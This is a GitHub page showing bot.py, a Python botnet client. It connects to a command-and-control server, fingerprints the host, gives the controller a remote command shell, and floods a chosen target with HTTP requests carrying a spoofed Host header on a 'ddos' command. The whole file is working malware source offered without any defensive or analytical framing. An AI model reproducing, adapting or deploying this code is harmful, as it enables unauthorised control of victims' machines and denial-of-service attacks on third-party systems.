-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathbot.py
More file actions
155 lines (145 loc) · 4.01 KB
/
bot.py
File metadata and controls
155 lines (145 loc) · 4.01 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
import socket
import subprocess
import sys
import os
import platform
import time
import uuid
import threading
OS=platform.system()
SERVER_IP="127.0.0.1"
SERVER_PORT=9090
BUFFER=10240
UUID=uuid.uuid4()
RETRY=True
DDosing=True
def DDoS(TARGETINFO):
global DDoSing
TARGET=TARGETINFO.split(" ")
TARGETIP=TARGET[1]
TARGETIP=TARGETIP.split(":")
FAKEIP=TARGET[2]
FAKEIP=FAKEIP.split(":")
print(FAKEIP," ",TARGETIP)
while DDoSing:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGETIP[0], int(TARGETIP[1])))
s.sendto(("GET /" + TARGETIP[0] + " HTTP/1.1\r\n").encode('ascii'), (TARGETIP[0], int(TARGETIP[1])))
s.sendto(("Host: " + FAKEIP[0] + "\r\n\r\n").encode('ascii'), (TARGETIP[0], int(TARGETIP[1])))
s.close()
except Exception as Exec:
print("[BOT | Critical] DDoS Failed",Exec)
DDoSing=False
def main():
global DDoSing,sock
while True:
try:
COMM_RECV=sock.recv(BUFFER)
COMM_RECV=COMM_RECV.decode()
print("RECV: ",COMM_RECV)
if COMM_RECV=='pingbot':
sock.send(str.encode("BOT ONLINE"))
print("SENT: ","BOT ONLINE")
elif COMM_RECV=="shell":
sock.send(str.encode("[Client] Shell Connected!\n"+str(os.getcwd()) + '> '))
while True:
try:
COMM_RECV=sock.recv(BUFFER)
COMM_RECV=COMM_RECV.decode()
if COMM_RECV!="":
print(COMM_RECV)
if COMM_RECV=='exit':
sock.send(str.encode("[Client] Closing Shell"))
break
if COMM_RECV[:2] == 'cd':
try:
os.chdir(COMM_RECV[3:])
except:
pass
if COMM_RECV=='Request current path':
sock.send(str.encode(str(os.getcwd()) + '> '))
else:
COMM_SEND = subprocess.Popen(COMM_RECV[:], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE )
OUTPUT = COMM_SEND.stdout.read()
OUTPUT = str(OUTPUT, "utf-8")
sock.send(str.encode(OUTPUT + str(os.getcwd()) + '> '))
else:
OUTPUT="No output"
sock.send(str.encode(OUTPUT + str(os.getcwd()) + '> '))
except:
raise TimeoutError
elif COMM_RECV[:4]=="ddos":
sock.send(str.encode("DDoS Initialising!"))
DDoSing=True
DDOSTHREAD=threading.Thread(target=DDoS,args=[COMM_RECV[4:],])
DDOSTHREAD.start()
elif COMM_RECV=="kill ddos":
sock.send(str.encode("Killing DDoS"))
DDoSing=False
elif COMM_RECV=='exit':
sock.send(str.encode("[Client] Self Destruct Initiated!"))
try:
sock.close()
except:
pass
break
else:
sock.send(str.encode("Unknown Command!"))
print("SENT: ","Unknown Command!")
except:
sock.close()
connected=False
while not connected:
try:
sock=socket.socket()
sock.connect((SERVER_IP,SERVER_PORT))
connected=True
try:
if OS=="Windows":
ACK=subprocess.getoutput("systeminfo")
elif OS=="Darwin":
ACK=subprocess.getoutput("system_profiler")
else:
ACK=subprocess.getoutput("uname -a")
ACK+="\n"
ACK="UUID: "+str(UUID)+"\n"+ACK
sock.send(str.encode(ACK))
if sock.recv(BUFFER).decode()=="Received":
print("Connected")
connected=True
except Exception as Errored:
print("Error Here1", Errored)
except:
connected=False
print("Exiting")
connected=False
exit()
def ACK():
global sock
try:
if OS=="Windows":
ACK=subprocess.getoutput("systeminfo")
elif OS=="Darwin":
ACK=subprocess.getoutput("system_profiler")
else:
ACK=subprocess.getoutput("uname -a")
ACK+="\n"
ACK="UUID: "+str(UUID)+"\n"+ACK
sock.send(str.encode(ACK))
if sock.recv(BUFFER).decode()=="Received":
main()
except Exception as Errored:
print("Error Here3", Errored)
connected=False
while not connected:
try:
sock=socket.socket()
sock.connect((SERVER_IP,SERVER_PORT))
print("Connected")
connected=True
except Exception as Exp:
print("Discon:", Exp)
sock.close()
pass
ACK()